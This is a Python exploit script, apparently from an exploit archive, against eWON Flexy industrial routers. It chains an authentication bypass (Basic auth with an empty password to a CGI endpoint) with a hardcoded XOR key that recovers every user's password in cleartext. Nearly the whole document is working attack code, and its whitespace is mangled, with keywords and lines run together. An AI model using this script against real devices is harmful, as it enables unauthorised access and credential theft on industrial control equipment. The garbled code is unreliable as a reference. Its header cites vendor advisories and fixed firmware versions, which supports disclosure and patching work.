#!/usr/bin/env python'''
# Exploit Title: eWON v13.0 Authentication Bypass
# Date: 2018-10-12
# Exploit Author: Photubias – tijl[dot]Deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://websupport.ewon.biz/support/news/support/ewon-security-enhancement-131s0-0
#[2] https://websupport.ewon.biz/support/news/support/ewon-security-vulnerability
# Vendor Homepage: https://www.ewon.biz
# Version: eWon Firmware 12.2 to 13.0
# Tested on: eWon Flexy with Firmware 13.0s0
Copyright 2019 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.If not, see <http://www.gnu.org/licenses/>.
File name eWON-Flewy-Pwn.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This script will perform retrieval of clear text credentials for an eWON Flexy router
Tested on the eWON Flexy 201 with Firmware 13.0s0
Only requires a valid username (default = adm) and
this user must have the Rights 'View IO' & 'Change Configuration'
It combines two vulnerabilities: authentication bypass (fixed in 13.1s0)
and a weak password encryption, allowing cleartext password retrievel for all users (fixed in 13.3s0)
'''
username ='adm'import urllib2,urllib,base64,binascii,os
defdecode(encpass):
xorString ="6414FE6F4C964746900208FC9B3904963A2F61"defconvertPass(password):if(len(password)/2)>19:print('Error, password can not exceed 19 characters')
exit()return hexxor(password, xorString[:len(password)])defhexxor(a, b):return"".join(["%x"%(int(x,16)^int(y,16))for(x, y)inzip(a, b)])if encpass.startswith('#_'):
encpass = encpass.split('_')[2]
coded = base64.b64decode(encpass)
codedhex = binascii.hexlify(coded)[:-4]
clearpass = binascii.unhexlify(convertPass(codedhex))print('Decoded password: '+ clearpass)defgetUserData(userid, strIP):
postwsdlist ='["inf_HasJVM","usr_FirstName|1","usr_LastName|1","usr_Login|1","usr_Password|1","usr_Information|1","usr_Right|1","usr_AccessPage|1","usr_AccessDir|1","usr_CBEn|1","usr_CBMode|1","usr_CBPhNum|1","ols_AllAndAssignedPageList","ols_DirList","ols_CBMode"]'
postwsdlist = postwsdlist.replace('|1','|'+str(userid))
postdata ={'wsdList': postwsdlist}
b64auth = base64.b64encode(username+':').replace('=','')
result = urllib2.urlopen(urllib2.Request('http://'+strIP+'/wrcgi.bin/wsdReadForm',data=urllib.urlencode(postdata),headers={'Authorization':' Basic '+b64auth})).read()
resultarr = result.split('","')iflen(resultarr)==20:
fname =str(resultarr[1])
lname =str(resultarr[2])
usern =str(resultarr[3])iflen(usern)==0:returnTrue
encpassword = resultarr[4]print('Decoding pass for user: '+usern+' ('+fname+' '+lname+') ')
decode(encpassword)print('---')returnTrueelse:returnTrue
strIP =raw_input('Please enter an IP [10.0.0.53]: ')if strIP =='': strIP ='10.0.0.53'print('---')for i inrange(20):ifnot getUserData(i, strIP):print('### That\'s all folks ;-) ###')raw_input()
exit(0)raw_input('All Done')